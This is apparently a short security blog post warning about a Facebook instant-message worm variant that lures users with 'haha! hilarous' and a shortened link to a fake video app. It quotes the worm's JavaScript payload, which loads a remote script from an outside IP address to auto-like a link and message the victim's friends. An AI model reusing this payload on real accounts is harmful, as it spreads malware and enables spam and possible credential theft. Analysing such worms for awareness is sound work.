new variant of Facebook April Fool’s IM worm

There’s a new variant of the Facebook April Fool’s worm going around. This one appears as an IM with the text “haha! hilarous http://fb.me/TzCxMrJW”; the page behind the URL shortener is http://apps.facebook.com/bullydown/ (taken down since I started writing this, see screenshot) which appears to be a Facebook video but actually loads some JavaScript using an onclick handler:

javascript:if(window.opener){ window.opener.document.body.appendChild(document.createElement(‘script’)).src=’http://173.231.144.82/fb.js?like_link=http://winterweddingfavor.info/bullypal/&app_link=http://fb.me/TzCxMrJW&embed_link=http://www.ebaumsworld.com/playerbeta.swf?id0=81417366&im_text=haha! hilarous’; window.close(); }else{ document.body.appendChild(document.createElement(‘script’)).src=’http://173.231.144.82/fb.js?like_link=http://winterweddingfavor.info/bullypal/&app_link=http://fb.me/TzCxMrJW&embed_link=http://www.ebaumsworld.com/playerbeta.swf?id0=81417366&im_text=haha! hilarous’; }

Facebook Bully Down wormWhatever it loads seems to Facebook Like the link http://winterweddingfavor.info/bullypal/ and then IM your friends. I got three messages in a short span of time. Not sure what’s required to send IMs through Facebook, might be it uses a fake login page to steal credentials like other variants.
